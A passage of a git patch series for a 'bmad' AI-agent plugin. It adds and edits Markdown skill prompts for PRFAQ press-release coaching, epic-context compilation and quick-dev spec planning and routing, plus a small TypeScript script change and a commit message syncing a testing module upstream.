+**Concept type adaptation:** Check `{concept_type}` (commercial product, internal tool, open-source, community/nonprofit). For non-commercial concepts, adapt press release framing: "announce the initiative" not "announce the product," "How to Participate" not "Getting Started," "Community Member quote" not "Customer quote." The structure stays — the language shifts to match the audience.
+
+## The Forge
+
+The press release is the heart of Working Backwards. It has a specific structure, and each part earns its place by forcing a different type of clarity:
+
+| Section | What It Forces |
+|---------|---------------|
+| **Headline** | Can you say what this is in one sentence a customer would understand? |
+| **Subheadline** | Who benefits and what changes for them? |
+| **Opening paragraph** | What are you announcing, who is it for, and why should they care? |
+| **Problem paragraph** | Can you make the reader feel the customer's pain without mentioning your solution? |
+| **Solution paragraph** | What changes for the customer? (Not: what did you build.) |
+| **Leader quote** | What's the vision beyond the feature list? |
+| **How It Works** | Can you explain the experience from the customer's perspective? |
+| **Customer quote** | Would a real person say this? Does it sound human? |
+| **Getting Started** | Is the path to value clear and concrete? |
+
+## Coaching Approach
+
+The coaching dynamic: draft each section yourself first, then model critical thinking by challenging your own draft out loud before inviting the user to sharpen it. Push one level deeper on every response — if the user gives you a generality, demand the specific. The cycle is: draft → self-challenge → invite → deepen.
+
+When the user is stuck, offer 2-3 concrete alternatives to react to rather than repeating the question harder.
+
+## Quality Bars
+
+These are the standards to hold the press release to. Don't enumerate them to the user — embody them in your challenges:
+
+- **No jargon** — If a customer wouldn't use the word, neither should the press release
+- **No weasel words** — "significantly", "revolutionary", "best-in-class" are banned. Replace with specifics.
+- **The mom test** — Could you explain this to someone outside your industry and have them understand why it matters?
+- **The "so what?" test** — Every sentence should survive "so what?" If it can't, cut or sharpen it.
+- **Honest framing** — The press release should be compelling without being dishonest. If you're overselling, the customer FAQ will expose it.
+
+## Headless Mode
+
+If running headless: draft the complete press release based on available inputs without interaction. Apply the quality bars internally — challenge yourself and produce the strongest version you can. Write directly to the output document.
+
+## Updating the Document
+
+After each section is refined, append it to the output document at `{planning_artifacts}/prfaq-{project_name}.md`. Update frontmatter: `status: "press-release"`, `stage: 2`, and `updated` timestamp.
+
+## Coaching Notes Capture
+
+Before moving on, append a brief `<!-- coaching-notes-stage-2 -->` block to the output document capturing key contextual observations from this stage: rejected headline framings, competitive positioning discussed, differentiators explored but not used, and any out-of-scope details the user mentioned (technical constraints, timeline, team context). These notes survive context compaction and feed the Stage 5 distillate.
+
+## Stage Complete
+
+This stage is complete when the full press release reads as a coherent, compelling announcement that a real customer would find relevant. The user should feel proud of what they've written — and confident every sentence earned its place.
+
+Route to `./customer-faq.md`.
diff --git a/plugins/bmad/skills/bmad-prfaq/references/verdict.md b/plugins/bmad/skills/bmad-prfaq/references/verdict.md
new file mode 100644
index 0000000..f77a950
--- /dev/null
+++ b/plugins/bmad/skills/bmad-prfaq/references/verdict.md
@@ -0,0 +1,79 @@
+**Language:** Use `{communication_language}` for all output.
+**Output Language:** Use `{document_output_language}` for documents.
+**Output Location:** `{planning_artifacts}`
+**Coaching stance:** Be direct and honest — the verdict exists to surface truth, not to soften it. But frame every finding constructively.
+
+# Stage 5: The Verdict
+
+**Goal:** Step back from the details and give the user an honest assessment of where their concept stands. Finalize the PRFAQ document and produce the downstream distillate.
+
+## The Assessment
+
+Review the entire PRFAQ — press release, customer FAQ, internal FAQ — and deliver a candid verdict:
+
+**Concept Strength:** Rate the overall concept readiness. Not a score — a narrative assessment. Where is the thinking sharp and where is it still soft? What survived the gauntlet and what barely held together?
+
+**Three categories of findings:**
+
+- **Forged in steel** — aspects of the concept that are clear, compelling, and defensible. The press release sections that would actually make a customer stop. The FAQ answers that are honest and convincing.
+- **Needs more heat** — areas that are promising but underdeveloped. The user has a direction but hasn't gone deep enough. These need more work before they're ready for a PRD.
+- **Cracks in the foundation** — genuine risks, unresolved contradictions, or gaps that could undermine the whole concept. Not necessarily deal-breakers, but things that must be addressed deliberately.
+
+**Present the verdict directly.** Don't soften it. The whole point of this process is to surface truth before committing resources. But frame findings constructively — for every crack, suggest what it would take to address it.
+
+## Finalize the Document
+
+1. **Polish the PRFAQ** — ensure the press release reads as a cohesive narrative, FAQs flow logically, formatting is consistent
+2. **Append The Verdict section** to the output document with the assessment
+3. Update frontmatter: `status: "complete"`, `stage: 5`, `updated` timestamp
+
+## Produce the Distillate
+
+Throughout the process, you captured context beyond what fits in the PRFAQ. Source material for the distillate includes the `<!-- coaching-notes-stage-N -->` blocks in the output document (which survive context compaction) as well as anything remaining in session memory — rejected framings, alternative positioning, technical constraints, competitive intelligence, scope signals, resource estimates, open questions.
+
+**Always produce the distillate** at `{planning_artifacts}/prfaq-{project_name}-distillate.md`:
+
+```yaml
+---
+title: "PRFAQ Distillate: {project_name}"
+type: llm-distillate
+source: "prfaq-{project_name}.md"
+created: "{timestamp}"
+purpose: "Token-efficient context for downstream PRD creation"
+---
+```
+
+**Distillate content:** Dense bullet points grouped by theme. Each bullet stands alone with enough context for a downstream LLM to use it. Include:
+- Rejected framings and why they were dropped
+- Requirements signals captured during coaching
+- Technical context, constraints, and platform preferences
+- Competitive intelligence from discussion
+- Open questions and unknowns flagged during internal FAQ
+- Scope signals — what's in, out, and maybe for MVP
+- Resource and timeline estimates discussed
+- The Verdict findings (especially "needs more heat" and "cracks") as actionable items
+
+## Present Completion
+
+"Your PRFAQ for {project_name} has survived the gauntlet.
+
+**PRFAQ:** `{planning_artifacts}/prfaq-{project_name}.md`
+**Detail Pack:** `{planning_artifacts}/prfaq-{project_name}-distillate.md`
+
+**Recommended next step:** Use the PRFAQ and detail pack as input for PRD creation. The PRFAQ replaces the product brief in your planning pipeline — tell your PM 'create a PRD' and point them to these files."
+
+**Headless mode output:**
+```json
+{
+  "status": "complete",
+  "prfaq": "{planning_artifacts}/prfaq-{project_name}.md",
+  "distillate": "{planning_artifacts}/prfaq-{project_name}-distillate.md",
+  "verdict": "forged|needs-heat|cracked",
+  "key_risks": ["top unresolved items"],
+  "open_questions": ["unresolved items from FAQs"]
+}
+```
+
+## Stage Complete
+
+This is the terminal stage. If the user wants to revise, loop back to the relevant stage. Otherwise, the workflow is done.
diff --git a/plugins/bmad/skills/bmad-product-brief/SKILL.md b/plugins/bmad/skills/bmad-product-brief/SKILL.md
index a605ff9..8d0b375 100644
--- a/plugins/bmad/skills/bmad-product-brief/SKILL.md
+++ b/plugins/bmad/skills/bmad-product-brief/SKILL.md
@@ -37,7 +37,7 @@ Check activation context immediately:
    - Use `{planning_artifacts}` for output location and artifact scanning
    - Use `{project_knowledge}` for additional context scanning
 
-2. **Greet user** as `{user_name}`, speaking in `{communication_language}`. Be warm but efficient — dream builder energy.
+2. **Greet user** as `{user_name}`, speaking in `{communication_language}`.
 
 3. **Stage 1: Understand Intent** (handled here in SKILL.md)
 
@@ -80,8 +80,3 @@ Check activation context immediately:
 | 3 | Guided Elicitation | Fill gaps through smart questioning | `prompts/guided-elicitation.md` |
 | 4 | Draft & Review | Draft brief, fan out review subagents | `prompts/draft-and-review.md` |
 | 5 | Finalize | Polish, output, offer distillate | `prompts/finalize.md` |
-
-## External Skills
-
-This workflow uses:
-- `bmad-init` — Configuration loading (module: bmm)
diff --git a/plugins/bmad/skills/bmad-qa-generate-e2e-tests/checklist.md b/plugins/bmad/skills/bmad-qa-generate-e2e-tests/checklist.md
index 013bc63..aa38ae8 100644
--- a/plugins/bmad/skills/bmad-qa-generate-e2e-tests/checklist.md
+++ b/plugins/bmad/skills/bmad-qa-generate-e2e-tests/checklist.md
@@ -1,4 +1,4 @@
-# Quinn Automate - Validation Checklist
+# QA Automate - Validation Checklist
 
 ## Test Generation
 
diff --git a/plugins/bmad/skills/bmad-quick-dev/compile-epic-context.md b/plugins/bmad/skills/bmad-quick-dev/compile-epic-context.md
new file mode 100644
index 0000000..0303477
--- /dev/null
+++ b/plugins/bmad/skills/bmad-quick-dev/compile-epic-context.md
@@ -0,0 +1,62 @@
+# Compile Epic Context
+
+**Task**
+Given an epic number, the epics file, the planning artifacts directory, and a desired output path, compile a clean, focused, developer-ready context file (`epic-<N>-context.md`).
+
+**Steps**
+
+1. Read the epics file and extract the target epic's title, goal, and list of stories.
+2. Scan the planning artifacts directory for the standard files (PRD, architecture, UX/design, product brief).
+3. Pull only the information relevant to this epic.
+4. Write the compiled context to the exact output path using the format below.
+
+## Exact Output Format
+
+Use these headings:
+
+```markdown
+# Epic {N} Context: {Epic Title}
+
+<!-- Compiled from planning artifacts. Edit freely. Regenerate with compile-epic-context if planning docs change. -->
+
+## Goal
+
+{One clear paragraph: what this epic achieves and why it matters.}
+
+## Stories
+
+- Story X.Y: Brief title only
+- ...
+
+## Requirements & Constraints
+
+{Relevant functional/non-functional requirements and success criteria for this epic (describe by purpose, not source).}
+
+## Technical Decisions
+
+{Key architecture decisions, constraints, patterns, data models, and conventions relevant to this epic.}
+
+## UX & Interaction Patterns
+
+{Relevant UX flows, interaction patterns, and design constraints (omit section entirely if nothing relevant).}
+
+## Cross-Story Dependencies
+
+{Dependencies between stories in this epic or with other epics/systems (omit if none).}
+```
+
+## Rules
+
+- **Scope aggressively.** Include only what a developer working on any story in this epic actually needs. When in doubt, leave it out — the developer can always read the full planning doc.
+- **Describe by purpose, not by source.** Write "API responses must include pagination metadata" not "Per PRD section 3.2.1, pagination is required." Planning doc internals will change; the constraint won't.
+- **No full copies.** Never quote source documents, section numbers, or paste large blocks verbatim. Always distill.
+- **No story-level details.** The story list is for orientation only. Individual story specs handle the details.
+- **Nothing derivable from the codebase.** Don't document what a developer can learn by reading the code.
+- **Be concise and actionable.** Target 800–1500 tokens total. This file loads into quick-dev's context alongside other material.
+- **Never hallucinate content.** If source material doesn't say something, don't invent it.
+- **Omit empty sections entirely**, except Goal and Stories, which are always required.
+
+## Error handling
+
+- **If the epics file is missing or the target epic is not found:** write nothing and report the problem to the calling agent. Goal and Stories cannot be populated without a usable epics file.
+- **If planning artifacts are missing or empty:** still produce the file with Goal and Stories populated from the epics file, and note the gap in the Goal section. Never hallucinate content to fill missing sections.
diff --git a/plugins/bmad/skills/bmad-quick-dev/spec-template.md b/plugins/bmad/skills/bmad-quick-dev/spec-template.md
index 3f70a51..b0e4f53 100644
--- a/plugins/bmad/skills/bmad-quick-dev/spec-template.md
+++ b/plugins/bmad/skills/bmad-quick-dev/spec-template.md
@@ -3,7 +3,7 @@ title: '{title}'
 type: 'feature' # feature | bugfix | refactor | chore
 created: '{date}'
 status: 'draft' # draft | ready-for-dev | in-progress | in-review | done
-context: [] # optional: max 3 project-wide standards/docs. NO source code files.
+context: [] # optional: `{project-root}/`-prefixed paths to project-wide standards/docs the implementation agent should load. Keep short — only what isn't already distilled into the spec body.
 ---
 
 <!-- Target: 900–1300 tokens. Above 1600 = high risk of context rot.
diff --git a/plugins/bmad/skills/bmad-quick-dev/step-01-clarify-and-route.md b/plugins/bmad/skills/bmad-quick-dev/step-01-clarify-and-route.md
index 5563dfc..aae1b31 100644
--- a/plugins/bmad/skills/bmad-quick-dev/step-01-clarify-and-route.md
+++ b/plugins/bmad/skills/bmad-quick-dev/step-01-clarify-and-route.md
@@ -1,7 +1,6 @@
 ---
-wipFile: '{implementation_artifacts}/spec-wip.md'
 deferred_work_file: '{implementation_artifacts}/deferred-work.md'
-spec_file: '' # set at runtime for plan-code-review before leaving this step
+spec_file: '' # set at runtime for both routes before leaving this step
 ---
 
 # Step 1: Clarify and Route
@@ -21,7 +20,7 @@ Before listing artifacts or prompting the user, check whether you already know t
 
 1. Explicit argument
    Did the user pass a specific file path, spec name, or clear instruction this message?
-   - If it points to a file that matches the spec template (has `status` frontmatter with a recognized value: ready-for-dev, in-progress, or in-review) → set `spec_file` and **EARLY EXIT** to the appropriate step (step-03 for ready/in-progress, step-04 for review).
+   - If it points to a file that matches the spec template (has `status` frontmatter with a recognized value: draft, ready-for-dev, in-progress, in-review, or done) → set `spec_file` and **EARLY EXIT** to the appropriate step (step-02 for draft, step-03 for ready/in-progress, step-04 for review). For `done`, ingest as context and proceed to INSTRUCTIONS — do not resume.
    - Anything else (intent files, external docs, plans, descriptions) → ingest it as starting intent and proceed to INSTRUCTIONS. Do not attempt to infer a workflow state from it.
 
 2. Recent conversation
@@ -29,8 +28,8 @@ Before listing artifacts or prompting the user, check whether you already know t
    Use the same routing as above.
 
 3. Otherwise — scan artifacts and ask
-   - `{wipFile}` exists? → Offer resume or archive.
-   - Active specs (`ready-for-dev`, `in-progress`, `in-review`) in `{implementation_artifacts}`? → List them and HALT. Ask user which to resume (or `[N]` for new).
+   - Active specs (`draft`, `ready-for-dev`, `in-progress`, `in-review`) in `{implementation_artifacts}`? → List them and HALT. Ask user which to resume (or `[N]` for new).
+     - If `draft` selected: Set `spec_file`. **EARLY EXIT** → `./step-02-plan.md` (resume planning from the draft)
      - If `ready-for-dev` or `in-progress` selected: Set `spec_file`. **EARLY EXIT** → `./step-03-implement.md`
      - If `in-review` selected: Set `spec_file`. **EARLY EXIT** → `./step-04-review.md`
    - Unformatted spec or intent file lacking `status` frontmatter? → Suggest treating its contents as the starting intent. Do NOT attempt to infer a state and resume it.
@@ -42,6 +41,32 @@ Never ask extra questions if you already understand what the user intends.
 1. Load context.
    - List files in `{planning_artifacts}` and `{implementation_artifacts}`.
    - If you find an unformatted spec or intent file, ingest its contents to form your understanding of the intent.
+   - **Determine context strategy.** Using the intent and the artifact listing, infer whether the current work is a story from an epic. Do not rely on filename patterns or regex — reason about the intent, the listing, and any epics file content together.
+
+     **A) Epic story path** — if the intent is clearly an epic story:
+
+     1. Identify the epic number and (if present) the story number. If you can't identify an epic number, use path B.
+
+     2. **Check for a valid cached epic context.** Look for `{implementation_artifacts}/epic-<N>-context.md` (where `<N>` is the epic number). A file is **valid** when it exists, is non-empty, starts with `# Epic <N> Context:` (with the correct epic number), and no file in `{planning_artifacts}` is newer.
+        - **If valid:** load it as the primary planning context. Do not load raw planning docs (PRD, architecture, UX, etc.). Skip to step 5.
+        - **If missing, empty, or invalid:** continue to step 3.
+
+     3. **Compile epic context.** Produce `{implementation_artifacts}/epic-<N>-context.md` by following `./compile-epic-context.md`, in order of preference:
+        - **Preferred — sub-agent:** spawn a sub-agent with `./compile-epic-context.md` as its prompt. Pass it the epic number, the epics file path, the `{planning_artifacts}` directory, and the output path `{implementation_artifacts}/epic-<N>-context.md`.
+        - **Fallback — inline** (for runtimes without sub-agent support, e.g. Copilot, Codex, local Ollama, older Claude): if your runtime cannot spawn sub-agents, or the spawn fails/times out, read `./compile-epic-context.md` yourself and follow its instructions to produce the same output file.
+
+     4. **Verify.** After compilation, verify the output file exists, is non-empty, and starts with `# Epic <N> Context:`. If valid, load it. If verification fails, HALT and report the failure.
+
+     5. **Previous story continuity.** Regardless of which context source succeeded above, scan `{implementation_artifacts}` for specs from the same epic with `status: done` and a lower story number. Load the most recent one (highest story number below current). Extract its **Code Map**, **Design Notes**, **Spec Change Log**, and **task list** as continuity context for step-02 planning. If no `done` spec is found but an `in-review` spec exists for the same epic with a lower story number, note it to the user and ask whether to load it.
+
+     **B) Freeform path** — if the intent is not an epic story:
+     - Planning artifacts are the output of BMAD phases 1-3. Typical files include:
+       - **PRD** (`*prd*`) — product requirements and success criteria
+       - **Architecture** (`*architecture*`) — technical design decisions and constraints
+       - **UX/Design** (`*ux*`) — user experience and interaction design
+       - **Epics** (`*epic*`) — feature breakdown into implementable stories
+       - **Product Brief** (`*brief*`) — project vision and scope
+     - Scan the listing for files matching these patterns. If any look relevant to the current intent, load them selectively — you don't need all of them, but you need the right constraints and requirements rather than guessing from code alone.
 2. Clarify intent. Do not fantasize, do not leave open questions. If you must ask questions, ask them as a numbered list. When the human replies, verify that every single numbered question was answered. If any were ignored, HALT and re-ask only the missing questions before proceeding. Keep looping until intent is clear enough to implement.
 3. Version control sanity check. Is the working tree clean? Does the current branch make sense for this intent — considering its name and recent history? If the tree is dirty or the branch is an obvious mismatch, HALT and ask the human before proceeding. If version control is unavailable, skip this check.
 4. Multi-goal check (see SCOPE STANDARD). If the intent fails the single-goal criteria:
@@ -52,11 +77,13 @@ Never ask extra questions if you already understand what the user intends.
    - On **K**: Proceed as-is.
 5. Route — choose exactly one:
 
+   Derive a valid kebab-case slug from the clarified intent. If the intent references a tracking identifier (story number, issue number, ticket ID), lead the slug with it (e.g. `3-2-digest-delivery`, `gh-47-fix-auth`). If `{implementation_artifacts}/spec-{slug}.md` already exists: if its status is `draft`, treat it as the same work and resume it (set `spec_file` to that path, **EARLY EXIT** → `./step-02-plan.md`); otherwise append `-2`, `-3`, etc. Set `spec_file` = `{implementation_artifacts}/spec-{slug}.md`.
+
    **a) One-shot** — zero blast radius: no plausible path by which this change causes unintended consequences elsewhere. Clear intent, no architectural decisions.
+
    **EARLY EXIT** → `./step-oneshot.md`
 
    **b) Plan-code-review** — everything else. When uncertain whether blast radius is truly zero, choose this path.
-   1. Derive a valid kebab-case slug from the clarified intent. If the intent references a tracking identifier (story number, issue number, ticket ID), lead the slug with it (e.g. `3-2-digest-delivery`, `gh-47-fix-auth`). If `{implementation_artifacts}/spec-{slug}.md` already exists, append `-2`, `-3`, etc. Set `spec_file` = `{implementation_artifacts}/spec-{slug}.md`.
 
 
 ## NEXT
diff --git a/plugins/bmad/skills/bmad-quick-dev/step-02-plan.md b/plugins/bmad/skills/bmad-quick-dev/step-02-plan.md
index 361d4c5..7385e63 100644
--- a/plugins/bmad/skills/bmad-quick-dev/step-02-plan.md
+++ b/plugins/bmad/skills/bmad-quick-dev/step-02-plan.md
@@ -1,5 +1,4 @@
 ---
-wipFile: '{implementation_artifacts}/spec-wip.md'
 deferred_work_file: '{implementation_artifacts}/deferred-work.md'
 ---
 
@@ -12,11 +11,12 @@ deferred_work_file: '{implementation_artifacts}/deferred-work.md'
 
 ## INSTRUCTIONS
 
-1. Investigate codebase. _Isolate deep exploration in sub-agents/tasks where available. To prevent context snowballing, instruct subagents to give you distilled summaries only._
-2. Read `./spec-template.md` fully. Fill it out based on the intent and investigation, and write the result to `{wipFile}`.
-3. Self-review against READY FOR DEVELOPMENT standard.
-4. If intent gaps exist, do not fantasize, do not leave open questions, HALT and ask the human.
-5. Token count check (see SCOPE STANDARD). If spec exceeds 1600 tokens:
+1. Draft resume check. If `{spec_file}` exists with `status: draft`, read it and capture the verbatim `<frozen-after-approval>...</frozen-after-approval>` block as `preserved_intent`. Otherwise `preserved_intent` is empty.
+2. Investigate codebase. _Isolate deep exploration in sub-agents/tasks where available. To prevent context snowballing, instruct subagents to give you distilled summaries only._
+3. Read `./spec-template.md` fully. Fill it out based on the intent and investigation. If `{preserved_intent}` is non-empty, substitute it for the `<frozen-after-approval>` block in your filled spec before writing. Write the result to `{spec_file}`.
+4. Self-review against READY FOR DEVELOPMENT standard.
+5. If intent gaps exist, do not fantasize, do not leave open questions, HALT and ask the human.
+6. Token count check (see SCOPE STANDARD). If spec exceeds 1600 tokens:
    - Show user the token count.
    - HALT and ask human: `[S] Split — carve off secondary goals` | `[K] Keep full spec — accept the risks`
    - On **S**: Propose the split — name each secondary goal. Append deferred goals to `{deferred_work_file}`. Rewrite the current spec to cover only the main goal — do not surgically carve sections out; regenerate the spec for the narrowed scope. Continue to checkpoint.
@@ -24,9 +24,21 @@ deferred_work_file: '{implementation_artifacts}/deferred-work.md'
 
 ### CHECKPOINT 1
 
-Present summary. If token count exceeded 1600 and user chose [K], include the token count and explain why it may be a problem. HALT and ask human: `[A] Approve` | `[E] Edit`
+Present summary. Display the spec file path as a CWD-relative path (no leading `/`) so it is clickable in the terminal. If token count exceeded 1600 and user chose [K], include the token count and explain why it may be a problem.
 
-- **A**: Rename `{wipFile}` to `{spec_file}`, set status `ready-for-dev`. Everything inside `<frozen-after-approval>` is now locked — only the human can change it. Display the finalized spec path to the user as a CWD-relative path (no leading `/`) so it is clickable in the terminal. → Step 3.
+After presenting the summary, display this note:
+
+---
+
+Before approving, you can open the spec file in an editor or ask me questions and tell me what to change. You can also use `bmad-advanced-elicitation`, `bmad-party-mode`, or `bmad-code-review` skills, ideally in another session to avoid context bloat.
+
+---
+
+HALT and ask human: `[A] Approve` | `[E] Edit`
+
+- **A**: Re-read `{spec_file}` from disk.
+  - **If the file is missing:** HALT. Tell the user the spec file is gone and STOP — do not write anything to `{spec_file}`, do not set status, do not proceed to Step 3. Nothing below this point runs.
+  - **If the file exists:** Compare the content to what you wrote. If it has changed since you wrote it, acknowledge the external edits — show a brief summary of what changed — and proceed with the updated version. Then set status `ready-for-dev` in `{spec_file}`. Everything inside `<frozen-after-approval>` is now locked — only the human can change it. → Step 3.
 - **E**: Apply changes, then return to CHECKPOINT 1.
 
 
diff --git a/plugins/bmad/skills/bmad-quick-dev/step-03-implement.md b/plugins/bmad/skills/bmad-quick-dev/step-03-implement.md
index 2d827b1..96e6041 100644
--- a/plugins/bmad/skills/bmad-quick-dev/step-03-implement.md
+++ b/plugins/bmad/skills/bmad-quick-dev/step-03-implement.md
@@ -24,6 +24,8 @@ Capture `baseline_commit` (current HEAD, or `NO_VCS` if version control is unava
 
 Change `{spec_file}` status to `in-progress` in the frontmatter before starting implementation.
 
+If `{spec_file}` has a non-empty `context:` list in its frontmatter, load those files before implementation begins. When handing to a sub-agent, include them in the sub-agent prompt so it has access to the referenced context.
+
 Hand `{spec_file}` to a sub-agent/task and let it implement. If no sub-agents are available, implement directly.
 
 **Path formatting rule:** Any markdown links written into `{spec_file}` must use paths relative to `{spec_file}`'s directory so they are clickable in VS Code. Any file paths displayed in terminal/conversation output must use CWD-relative format with `:line` notation (e.g., `src/path/file.ts:42`) for terminal clickability. No leading `/` in either case.
diff --git a/plugins/bmad/skills/bmad-quick-dev/step-oneshot.md b/plugins/bmad/skills/bmad-quick-dev/step-oneshot.md
index da8a0e2..0c52d43 100644
--- a/plugins/bmad/skills/bmad-quick-dev/step-oneshot.md
+++ b/plugins/bmad/skills/bmad-quick-dev/step-oneshot.md
@@ -29,19 +29,31 @@ Deduplicate all review findings. Three categories only:
 
 If a finding is caused by this change but too significant for a trivial patch, HALT and present it to the human for decision before proceeding.
 
+### Generate Spec Trace
+
+Set `{title}` = a concise title derived from the clarified intent.
+
+Write `{spec_file}` using `./spec-template.md`. Fill only these sections — delete all others:
+
+1. **Frontmatter** — set `title: '{title}'`, `type`, `created`, `status: 'done'`. Add `route: 'one-shot'`.
+2. **Title and Intent** — `# {title}` heading and `## Intent` with **Problem** and **Approach** lines. Reuse the summary you already generated for the terminal.
+3. **Suggested Review Order** — append after Intent. Build using the same convention as `./step-05-present.md` § "Generate Suggested Review Order" (spec-file-relative links, concern-based ordering, ultra-concise framing).
+
 ### Commit
 
 If version control is available and the tree is dirty, create a local commit with a conventional message derived from the intent. If VCS is unavailable, skip.
 
 ### Present
 
-1. Open all changed files in the user's editor so they can review the code directly:
-   - Resolve two sets of absolute paths: (1) the repository root (`git rev-parse --show-toplevel` — returns the worktree root when in a worktree, project root otherwise; if this fails, fall back to the current working directory), (2) each changed file. Run `code -r "{absolute-root}" <absolute-changed-file-paths>` — the root first so VS Code opens in the right context, then each changed file. Always double-quote paths to handle spaces and special characters.
-   - If `code` is not available (command fails), skip gracefully and list the file paths instead.
+1. Open the spec in the user's editor so they can click through the Suggested Review Order:
+   - Resolve two absolute paths: (1) the repository root (`git rev-parse --show-toplevel` — returns the worktree root when in a worktree, project root otherwise; if this fails, fall back to the current working directory), (2) `{spec_file}`. Run `code -r "{absolute-root}" "{absolute-spec-file}"` — the root first so VS Code opens in the right context, then the spec file. Always double-quote paths to handle spaces and special characters.
+   - If `code` is not available (command fails), skip gracefully and tell the user the spec file path instead.
 2. Display a summary in conversation output, including:
    - The commit hash (if one was created).
-   - List of files changed with one-line descriptions. Use CWD-relative paths with `:line` notation (e.g., `src/path/file.ts:42`) for terminal clickability. No leading `/`.
+   - List of files changed with one-line descriptions. Any file paths shown in conversation/terminal output must use CWD-relative format (no leading `/`) with `:line` notation (e.g., `src/path/file.ts:42`) for terminal clickability — this differs from spec-file links which use spec-file-relative paths.
    - Review findings breakdown: patches applied, items deferred, items rejected. If all findings were rejected, say so.
+   - A note that the spec is open in their editor (or the file path if it couldn't be opened). Mention that `{spec_file}` now contains a Suggested Review Order.
+   - **Navigation tip:** "Ctrl+click (Cmd+click on macOS) the links in the Suggested Review Order to jump to each stop."
 3. Offer to push and/or create a pull request.
 
 HALT and wait for human input.
diff --git a/plugins/bmad/skills/bmad-sprint-planning/sprint-status-template.yaml b/plugins/bmad/skills/bmad-sprint-planning/sprint-status-template.yaml
index 6725b20..d454f93 100644
--- a/plugins/bmad/skills/bmad-sprint-planning/sprint-status-template.yaml
+++ b/plugins/bmad/skills/bmad-sprint-planning/sprint-status-template.yaml
@@ -29,7 +29,7 @@
 # WORKFLOW NOTES:
 # ===============
 # - Mark epic as 'in-progress' when starting work on its first story
-# - SM typically creates next story ONLY after previous one is 'done' to incorporate learnings
+# - Developer typically creates next story ONLY after previous one is 'done' to incorporate learnings
 # - Dev moves story to 'review', then Dev runs code-review (fresh context, ideally different LLM)
 
 # EXAMPLE STRUCTURE (your actual epics/stories will replace these):
diff --git a/scripts/clean-orphaned-skills.ts b/scripts/clean-orphaned-skills.ts
index cb00b92..65e82cd 100644
--- a/scripts/clean-orphaned-skills.ts
+++ b/scripts/clean-orphaned-skills.ts
@@ -41,17 +41,21 @@ async function getValidSkillNames(): Promise<Set<string>> {
     }
   }
 
-  // Core skills synced outside the normal contentRoot (src/core/skills/ or src/core/workflows/)
+  // Core skills synced outside the normal contentRoot.
+  // Historical paths: src/core/skills/ then src/core/workflows/ — both long
+  // since removed upstream. Current path (v6.2.x+) is src/core-skills/ which
+  // is what sync-upstream-content.ts's syncCoreExtras() uses.
   const coreSource = getCoreSource();
   const coreRoot = join(ROOT, '.upstream', coreSource.localPath);
-  const coreSkillsDir = join(coreRoot, 'src/core/skills');
-  const coreWorkflowsDir = join(coreRoot, 'src/core/workflows');
-  const coreExtrasDir = (await exists(coreSkillsDir))
-    ? coreSkillsDir
-    : coreWorkflowsDir;
-
-  if (await exists(coreExtrasDir)) {
-    const entries = await readdir(coreExtrasDir, { withFileTypes: true });
+  const candidateExtrasDirs = [
+    join(coreRoot, 'src/core-skills'),
+    join(coreRoot, 'src/core/skills'),
+    join(coreRoot, 'src/core/workflows'),
+  ];
+
+  for (const dir of candidateExtrasDirs) {
+    if (!(await exists(dir))) continue;
+    const entries = await readdir(dir, { withFileTypes: true });
     for (const entry of entries) {
       if (entry.isDirectory()) valid.add(entry.name);
     }

From 4bf3bc970513ec725b6ef54d4f467a6bace0424a Mon Sep 17 00:00:00 2001
From: tgorka <tomasz@gorka.org.pl>
Date: Sat, 18 Apr 2026 19:22:12 -0700
Subject: [PATCH 3/4] =?UTF-8?q?chore:=20sync=20upstream=20TEA=20v1.7.3=20?=
 =?UTF-8?q?=E2=86=92=20v1.12.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Upstream releases covered: v1.8.0 through v1.12.2
Latest at https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise/releases

Notable upstream changes pulled in:
- v1.9.0: Skills made self-contained with embedded resources (tea-index.csv)
- v1.9.1: Playwright 1.59 compatibility, banner and doc cross-link updates
- v1.10+: Continued refinements to testarch workflows (atdd, trace, nfr, ci,
  framework, automate, test-design, test-review, teach-me-testing)

The fetch-latest bump picked v1.12.2 rather than the v1.9.1 referenced in
issue #58 because several intermediate releases have shipped since the issue
was opened. Happy to pin to v1.9.1 via --tag if preferred — this brings the
plugin to the actual latest TEA release.

Plugin version bumped to 6.3.0.1 via bun run bump-module --source tea.
---
 .github/badges/upstream-version-tea.json      |    2 +-
 .plugin-version                               |    2 +-
 .upstream-versions/tea.json                   |    4 +-
 README.md                                     |    4 +-
 package.json                                  |    2 +-
 plugins/bmad/.claude-plugin/plugin.json       |    2 +-
 plugins/bmad/agents/bmad-tea.md               |   66 +-
 .../skills/bmad-teach-me-testing/SKILL.md     |   20 +
 .../bmad-teach-me-testing/customize.toml      |   27 +
 .../scripts/resolve-customization.py          |  183 +++
 .../bmad/skills/bmad-testarch-atdd/SKILL.md   |   22 +-
 .../atdd-checklist-template.md                |   79 +-
 .../skills/bmad-testarch-atdd/checklist.md    |   35 +-
 .../skills/bmad-testarch-atdd/customize.toml  |   27 +
 .../skills/bmad-testarch-atdd/instructions.md |    3 +-
 .../adr-quality-readiness-checklist.md        |  377 ++++++
 .../resources/knowledge/api-request.md        |  563 +++++++++
 .../knowledge/api-testing-patterns.md         |  915 ++++++++++++++
 .../resources/knowledge/auth-session.md       |  548 +++++++++
 .../resources/knowledge/burn-in.md            |  273 +++++
 .../resources/knowledge/ci-burn-in.md         |  717 +++++++++++
 .../resources/knowledge/component-tdd.md      |  486 ++++++++
 .../resources/knowledge/contract-testing.md   | 1050 +++++++++++++++++
 .../resources/knowledge/data-factories.md     |  500 ++++++++
 .../resources/knowledge/email-auth.md         |  721 +++++++++++
 .../resources/knowledge/error-handling.md     |  725 ++++++++++++
 .../resources/knowledge/feature-flags.md      |  750 ++++++++++++
 .../resources/knowledge/file-utils.md         |  456 +++++++
 .../knowledge/fixture-architecture.md         |  401 +++++++
 .../knowledge/fixtures-composition.md         |  382 ++++++
 .../knowledge/intercept-network-call.md       |  426 +++++++
 .../resources/knowledge/log.md                |  426 +++++++
 .../knowledge/network-error-monitor.md        |  401 +++++++
 .../resources/knowledge/network-first.md      |  486 ++++++++
 .../resources/knowledge/network-recorder.md   |  527 +++++++++
 .../resources/knowledge/nfr-criteria.md       |  670 +++++++++++
 .../resources/knowledge/overview.md           |  286 +++++
 .../resources/knowledge/pact-consumer-di.md   |  310 +++++
 .../pact-consumer-framework-setup.md          |  635 ++++++++++
 .../resources/knowledge/pact-mcp.md           |  204 ++++
 .../pactjs-utils-consumer-helpers.md          |  270 +++++
